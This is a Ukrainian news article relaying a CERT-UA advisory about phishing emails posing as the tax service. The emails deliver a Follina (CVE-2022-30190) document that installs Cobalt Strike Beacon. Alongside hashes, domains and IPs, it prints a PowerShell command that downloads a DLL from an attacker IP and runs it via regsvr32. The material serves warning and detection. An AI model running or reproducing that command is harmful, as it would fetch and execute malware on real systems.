Увага! Шахраї розсилають фейкові листи про несплату податків

Команда CERT-UA попереджає про новий вид розсилок від шахраїв. Розсилки направлені на об’єкти критичної інфраструктури та мають тему “Накладення штрафних санкцій”.

Фейковий лист “Повідомлення про несплату податку” — небезпечний файл

З початку повномасштабної російської агресії українські підприємства часто потерпають від кібератак та фішингових розсилок. Держспецзв’язку неодноразово інформували про порядок поводження з підозрілими листами та невідомими адресами, адже часто з них запускається шкідливе програмне забезпечення. Проте є теми, які зачіпають платників податків сильніше. Цього разу зловмисники використали тематику  Накладення штрафних санкцій. 

Команда CERT-UA повідомляє про виявлення розсилок з документом   “Накладення штрафних санкцій.docx”. Відкриття зазначеного документу завантажує  HTML-файл та запускає виконання Java Script коду CVE-2022-30190. Як наслідок, відбувається завантаження та запуск шкідливої програми Cobalt Strike Beacon, дата компіляції: 16.06.2022.

Платники отримали такий файл через електронну пошту, нібито від Державної податкової служби. Використовувалась тема листа:

• Повідомлення про несплату податку
• Накладення штрафних санкцій

У листі знаходився захищений паролем архів «НакладенняШтрафнихСанкцiй.zip»

Індикатори компрометації

Файли:

• 37c7b934661f31e526ffb31f7c935d5a    7d53782fab972b8b70c6c7134598da25fd125c58c88a6d468464cee6c9dbe764        НакладенняШтрафнихСанкцiй.zip 
• a3f3402656fc5be4439899b2a5f25eb6    bc6898f0e66582ab92307809a409797749b49948fc265767579b224755b0a17b        Накладення штрафних санкцій.docx
• 85851e09b368ebba90f5d922cd77f348    02b77a482120b7997f06da67f33cdb286ab06b7ef1bd9dfb2ad77a634595abfe        index.html
• 52f371a4f06f3398a5a361335920618c    394cbab9eb87ef8ee795d184137ac2634b22a0a3e642534a55c1623a813c8a59        ked.dll (Cobalt Strike Beacon)

Мережеві:

• rostyslav.nal0g@gmail[.]com
• hXXp://64[.]190.113.51:8000/index[.]html
• hXXp://5[.]199.173.152/ked[.]dll
• hXXps://baidenfree[.]com/jquery-3.3.1.min.js
• baidenfree[.]com
• golgba[.]com
• domtern[.]com
• jorgava[.]com
• 185[.]143.223.29 (Received)
• 64[.]190.113.51
• 5[.]199.173.152
• 5[.]199.174.219
• 185[.]170.144.159
• 87[.]251.64.5
• 185[.]170.144.158

Хостові:

• Invoke-WebRequest -Uri ‘http://5.199.173.152/ked.dll’ -OutFile ‘c:\windows\tasks\ked.dll’; start-process regsvr32.exe -ArgumentList ‘/s C:\windows\tasks\ked.dll’
• C:\windows\tasks\ked.dll

Вигляд листа:

Необхідно обов’язково звертати увагу на адресу відправника. Як бачите, це повідомлення розповсюджувалося від адреси [rostyslav.nal0g@gmail[.]com]. Офіційні контакти ДПС зазначені на сайті ДПС в розділі Контакти. 

Інші актуальні новини

Зверніть увагу на наступні матеріали:

• Новий закон скасовує військовий збір для військовослужбовців, які беруть участь у бойових діях. Подробиці тут. 
• Особливості подання та підтвердження даних про кінцевих бенефіціарів 2022 — чи штрафуватимуть за неподання? Розглядаємо тут.
• Робота банківської системи 27 та 28 червня — постанова НБУ. 
• Новий розмір прожиткового мінімуму з 1 липня 2022 року складатиме 2600 грн. Розглядаємо, які показники та для кого зміняться, у цьому матеріалі. 
• Посіви втрачено через воєнні дії та їхні наслідки: що з обліком та оподаткуванням ПДВ? 
• Розглянемо покрокову інструкцію, як отримати підпис для ПРРО. 
• Держстат інформує про оновлення ряду форм статистичної звітності. Перелік форм тут.